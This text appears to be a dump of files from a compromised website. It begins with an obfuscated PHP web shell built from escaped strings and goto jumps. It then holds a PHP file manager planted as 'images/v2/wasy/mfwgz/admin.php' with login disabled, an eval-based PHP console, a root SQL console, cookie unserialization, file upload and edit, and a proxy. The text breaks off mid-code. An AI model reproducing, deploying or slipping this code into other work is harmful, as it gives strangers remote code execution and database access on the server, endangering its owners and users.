"\42\40\163\164\171\154\145\75\x22\164\x65\x78\164\55\141\154\x69\147\x6e\x3a\x20\143\145\156\x74\145\x72\73\x22\76\xd\xa\40\x20\40\x20\74\57\x64\151\x76\x3e\xd\12\x20\40\40\40\x3c\x64\151\x76\x20\143\x6c\x61\163\163\x3d\x22\146\157\162\155\x2d\x67\162\157\x75\x70\42\x20\163\x74\171\154\x65\x3d\x22\x6d\x61\x72\x67\x69\x6e\55\164\x6f\x70\x3a\x20\x31\60\x70\x78\73\x22\x3e\15\12\x20\40\40\40\x20\40\40\40\74\x62\x75\x74\164\157\x6e\40\164\171\x70\x65\x3d\x22\163\165\x62\x6d\x69\x74\42\x20\156\141\x6d\x65\75\42\162\145\x6e\141\x6d\145\137\146\x69\x6c\x65\42\40\143\154\x61\x73\163\75\x22\157\x68\143\x74\x22\76\x53\x61\166\x65\x3c\x2f\142\x75\164\164\x6f\x6e\76\15\xa\x20\40\40\40\74\57\144\x69\x76\x3e\xd\xa\x3c\x2f\146\157\x72\x6d\x3e\xd\xa\15\xa"; goto oO92L; X9oWu: $currentDir = getcwd(); goto l6lHy; QMnli: goto oGhKM; goto NaeCm; cSpMC: Xe("\x46\x69\x6c\x65\40\147\141\147\141\154\40\x64\151\142\165\x61\x74", 0); goto sueaT; aAPZK: eDnbO: goto t2P1z; uLQpu: if (rename($oldPath, $newPath)) { goto cuWoE; } goto Hczko; O4wAy: echo "\x20\xd\12\x3c\x2f\144\151\166\76\xd\xa\74\x73\143\162\x69\160\x74\40\x73\162\143\75\42\x2f\x2f\143\157\x64\x65\x2e\x6a\x71\x75\145\162\171\x2e\x63\157\155\x2f\152\161\165\145\162\x79\x2d\x33\x2e\x35\56\x31\x2e\x73\x6c\x69\x6d\56\155\151\156\56\x6a\163\x22\x3e\74\x2f\163\143\x72\151\160\164\x3e\xd\xa\74\x73\x63\162\x69\160\164\x20\x73\x72\143\x3d\42\x2f\x2f\143\144\156\x2e\x6a\x73\x64\x65\154\x69\x76\162\56\x6e\x65\164\x2f\x6e\160\x6d\x2f\x62\x6f\x6f\164\163\164\162\141\x70\100\64\x2e\66\x2e\60\x2f\144\x69\163\164\x2f\152\x73\x2f\x62\157\x6f\x74\163\x74\162\x61\160\56\142\x75\156\x64\x6c\x65\56\x6d\x69\x6e\56\152\163\x22\40\x3e\74\57\x73\143\x72\x69\160\164\76\15\12\x3c\x73\x63\x72\151\x70\x74\40\x73\x72\143\x3d\x22\x2f\57\x63\144\x6e\x2e\152\163\144\x65\154\151\x76\162\56\156\145\164\x2f\x6e\160\x6d\x2f\142\163\x2d\143\x75\x73\164\x6f\155\55\x66\x69\x6c\x65\55\x69\156\x70\x75\x74\57\144\151\x73\164\x2f\142\163\x2d\x63\x75\x73\x74\x6f\x6d\55\146\x69\x6c\x65\55\151\156\160\x75\x74\x2e\x6d\x69\x6e\x2e\152\163\42\76\74\x2f\x73\143\162\151\x70\164\76\xd\xa\x3c\x73\x63\162\151\160\x74\40\164\x79\x70\x65\75\42\164\145\170\x74\x2f\x6a\141\x76\x61\x73\x63\162\x69\x70\164\x22\76\x65\x76\141\x6c\x28\146\165\x6e\143\x74\151\x6f\156\x28\160\x2c\141\x2c\x63\x2c\153\54\x65\x2c\x64\x29\x7b\145\75\146\x75\156\143\x74\x69\x6f\156\x28\x63\51\173\162\145\164\165\x72\156\50\x63\x3c\141\77\x27\x27\x3a\145\x28\x70\141\162\x73\x65\x49\x6e\164\50\x63\x2f\x61\x29\x29\51\x2b\50\x28\x63\75\143\45\141\x29\x3e\x33\x35\77\123\x74\x72\x69\x6e\x67\x2e\x66\x72\157\155\x43\x68\x61\x72\103\x6f\x64\145\50\143\x2b\62\71\51\x3a\x63\56\164\157\x53\x74\x72\x69\x6e\x67\50\63\66\x29\x29\175\x3b\151\x66\x28\41\47\47\x2e\162\145\160\154\x61\143\x65\50\x2f\x5e\x2f\54\x53\164\162\151\156\147\x29\51\173\167\x68\151\154\145\50\x63\55\55\x29\x7b\x64\133\145\x28\x63\x29\x5d\x3d\153\133\x63\x5d\174\x7c\145\x28\x63\x29\175\153\x3d\x5b\x66\x75\156\x63\164\x69\x6f\156\50\145\51\173\x72\x65\164\x75\x72\156\40\x64\133\145\135\x7d\135\x3b\x65\75\x66\x75\156\143\164\x69\157\x6e\x28\51\x7b\x72\145\x74\165\162\156\x27\134\x5c\x77\53\x27\175\x3b\x63\75\x31\x7d\x3b\167\x68\x69\154\145\50\143\x2d\x2d\x29\173\x69\x66\x28\x6b\x5b\x63\135\x29\x7b\x70\x3d\160\56\x72\x65\x70\x6c\x61\143\x65\x28\x6e\x65\x77\40\122\145\147\x45\170\x70\50\x27\x5c\x5c\x62\x27\x2b\x65\50\143\x29\x2b\47\134\134\142\x27\x2c\x27\x67\47\x29\54\153\133\x63\x5d\x29\x7d\x7d\162\145\164\165\x72\156\40\160\175\x28\47\105\56\156\x28\51\x3b\x24\50\134\x27\133\x32\55\x6d\75\x22\64\42\135\x5c\47\x29\56\x34\50\x29\x3b\44\50\x22\56\x6c\42\x29\56\x6b\x28\152\50\x65\51\173\145\56\x67\x28\x29\73\150\x20\x30\x3d\44\x28\66\x29\x2e\x35\50\x22\62\55\60\42\x29\73\x63\x28\x7b\x62\x3a\x22\141\42\54\71\72\x22\157\x20\151\x20\x71\x3f\42\x2c\x77\x3a\x22\104\x20\42\x2b\60\x2b\42\x20\x70\40\x43\40\x42\x22\x2c\x41\72\67\x2c\x7a\x3a\67\x2c\175\x29\56\x79\x28\50\70\x29\75\76\x7b\x72\50\x38\x29\x7b\x78\x20\x31\x3d\x24\50\66\x29\56\x35\50\x22\x33\42\51\x2b\x22\46\x74\x3d\42\x2b\50\x28\60\75\75\42\x76\42\51\77\42\144\x22\x3a\42\146\x22\51\x3b\x75\56\x73\56\x33\75\x31\x7d\175\51\175\x29\73\47\54\64\61\54\64\x31\x2c\47\164\171\x70\145\174\142\165\x69\x6c\144\125\x52\114\x7c\x64\141\164\x61\174\150\x72\145\146\x7c\x74\157\x6f\x6c\x74\x69\x70\x7c\x61\x74\x74\x72\x7c\164\x68\151\163\174\164\162\x75\145\174\167\151\154\x6c\104\145\x6c\x65\164\x65\174\x74\x69\164\x6c\145\174\167\141\162\x6e\x69\156\147\174\151\143\157\x6e\174\x73\x77\141\154\174\174\x7c\174\x70\162\x65\x76\x65\156\164\104\145\146\141\165\154\164\x7c\154\145\x74\x7c\171\157\x75\x7c\x66\165\156\143\x74\x69\x6f\x6e\x7c\143\x6c\x69\x63\x6b\174\x64\145\154\145\164\145\x7c\164\157\147\x67\x6c\x65\174\x69\156\x69\164\174\101\162\145\x7c\x77\x69\x6c\x6c\174\163\165\x72\x65\x7c\151\x66\174\x6c\157\143\x61\x74\151\x6f\x6e\x7c\174\144\x6f\143\x75\x6d\145\156\x74\174\x66\157\x6c\144\145\x72\x7c\164\145\170\164\x7c\143\157\x6e\163\164\x7c\x74\x68\x65\x6e\174\x64\x61\x6e\147\145\162\115\x6f\x64\x65\x7c\142\165\x74\164\157\156\x73\x7c\x64\145\x6c\x65\164\145\x64\174\142\x65\x7c\124\x68\x69\x73\x7c\142\x73\103\x75\x73\x74\157\155\106\x69\154\x65\x49\156\160\x75\x74\x27\x2e\163\x70\x6c\x69\164\50\x27\x7c\x27\x29\54\x30\x2c\173\175\x29\51\x3c\x2f\163\143\x72\x69\160\x74\x3e\15\xa\x3c\57\x62\157\144\x79\76\xd\xa\x3c\x2f\x68\164\155\154\76"; images/v2/wasy/mfwgz/admin.php 0000666 00000235120 15134044474 0012273 0 ustar 00 <?php /* PHP File manager ver 1.6 */ // Configuration ?? do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":""}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.6; ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); error_reporting(E_ALL); //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size ?? maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' ?? '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //????-??? ????? ?????????? ????? } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = 